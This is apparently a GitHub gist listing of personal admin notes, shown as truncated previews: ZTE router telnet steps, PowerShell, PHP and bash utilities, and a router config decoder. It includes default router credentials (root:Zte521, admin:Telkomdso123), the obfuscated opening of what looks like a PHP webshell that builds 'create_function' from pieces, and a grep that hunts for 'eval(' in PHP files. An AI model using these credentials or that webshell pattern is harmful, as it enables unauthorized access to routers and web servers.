Saya sering lupa, jadi tulis aja di gist.
telnet 192.168.1.1
login: root
pass : Zte521
# Add windows Explorer Right-Click menu to paste copied item as Junction or SymbolicLink with PowerShell | |
# Locate file on C:\CMD\ | |
param ( | |
[Parameter(Mandatory=$true)][string]$location | |
) | |
Set-Location $location | |
$files = Get-Clipboard -Format FileDropList | |
$count = $files.count; | |
if($count -eq 0) |
<?php | |
set_time_limit(0); | |
ignore_user_abort(true); | |
$url = "http://web.shit/backup.zip"; | |
$ch = curl_init($url); | |
$to_file = 'web.zip'; | |
$opt = array(); | |
if(is_file($to_file)) | |
{ |
# make it executable `chmod +x ddns-update` | |
# move it path `mv ddns-update /usr/bin/` | |
# setup cronjob for every 15 minutes `crontab -e` | |
# */15 * * * * ddns-update >/dev/null 2>&1 | |
# dont forget to change your own domain & password | |
# uncomment if you want internet connection check before running | |
#while ! ping -c 1 -W 1 8.8.8.8; do | |
# echo "DDNS-UPDATE: Waiting internet connection.." | |
# sleep 2 |
<?php $GLOBALS[ | |
'pass' | |
] | |
= | |
'0f3b857e0125444e99a15f41c07eb315d26a00f0'; | |
$FF | |
='cre'. | |
'ate'. | |
'_fun'. | |
'cti'. |
<?php | |
class DB | |
{ | |
var $con = null; | |
var $result = null; | |
var $has_result = false; | |
var $error = false; | |
var $last_query; | |
var $affected_rows; |
for dir in `find ~/apps/* -maxdepth 0 -type d` | |
do | |
grep -Rl --include "*.php" "eval(" "$dir/public/" | |
done |
webuser | |
======= | |
admin:admin | |
admin:Telkomdso123 | |
user:user | |
telnet | |
====== | |
root:Zte521 |
#!/usr/bin/env python | |
# https://reverseengineering.stackexchange.com/a/13395 | |
import sys | |
import binascii | |
import struct | |
import zlib | |
if (len(sys.argv) <= 1): | |
print('USAGE:\n%s [configBak.cfg|config.bin]' % sys.argv[0]) | |
exit(1) |
#!/bin/bash | |
# Write file /etc/network/if-up.d/ and link to /etc/network/if-post-down.d/ | |
# by default, scripts on that directories will be triggered by NetworkManager | |
PID="/var/run/dnsmasq/wlan.pid" | |
WLAN="wlan0" | |
DNSMASQCONF="/etc/dnsmasq.conf" | |
IP=$(ifconfig $WLAN | sed -En 's/.*inet ([0-9\\.]+) .+/\1/p') | |
ME="$IFACE-dnsmasq:" |